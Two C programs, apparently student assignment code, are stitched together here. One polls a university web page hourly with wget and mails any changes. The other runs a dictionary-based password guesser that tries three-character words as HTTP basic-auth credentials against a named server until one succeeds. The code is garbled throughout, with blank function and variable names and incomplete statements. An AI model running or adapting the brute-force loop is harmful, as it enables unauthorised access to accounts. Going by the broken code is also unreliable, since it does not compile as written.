
#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
int flag=1;
const char delimiter[]=" \n\t";
FILE *fp1;
char line1[100];
char filename1[50];
char *token;

while(1)
{
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test1");
sleep(3600);
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test2");
system("diff test1 test2 >test3");
system("file test3 >test4"); 
strcpy(filename1,"test4");
if((fp1=fopen(filename1,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
fgets(line1,sizeof(line1),fp1);
token=strtok(line1,delimiter);
        while(token!=NULL)
                {
if(strcmp(token,"empty")==0)
{
printf(" CHANGES\n");
flag=0;

}
token=strtok(NULL,delimiter);

                 }
if(flag==1)
{
system("mail  < test3");
}
fclose(fp1);
}
return(0);
}

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>


#define SUCCESS 0;
#define FAILURE 1;
#define FOUND 2;
#define SECONDS 1e9


int findPassword(char *);

int ()
{
	FILE *fp;
	char word[64];
	char pass[3];
	int found;
	int incr=0;
	int , end, final;
	
	if ((fp = fopen("words","r")) == NULL) 
	{
		printf("Could Not open File -  tset.txt");
		return FAILURE;
		
	}
	printf("\n FILE SUCCESSFULLY opened");
	 = time();
	while (fgets(word, 64, fp) != NULL) 
	{	
		incr++;	
		word[strlen(word) - 1] = '\0';
		strncpy(pass,word,3);	
		found = findPassword(pass);	
		printf("\nTrial %d ",incr);
		if(found == 2)
		{
			printf("\nPASSWORD FOUND   --   %s",pass);
			end = time();
			final = end-;
			printf(" %lld nanoseconds   find the Password \n",final);
			printf(" %lld nanoseconds (%1f seconds)  find the Password \n",final,(double)final/SECONDS);
			return SUCCESS;
		}		
	}
	fclose(fp);	
	return SUCCESS;	
}


int findPassword(char *pass)
{
	char var[50]="";	
	char [50]="";
	strcpy(var,"wget --non-verbose --http-user= --http-passwd=");
		
	strcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	strcat(var,pass);
	strcat(var,);
	if(system(var)==0)
	{		
		return 2;
	}	
		
	return SUCCESS;
}
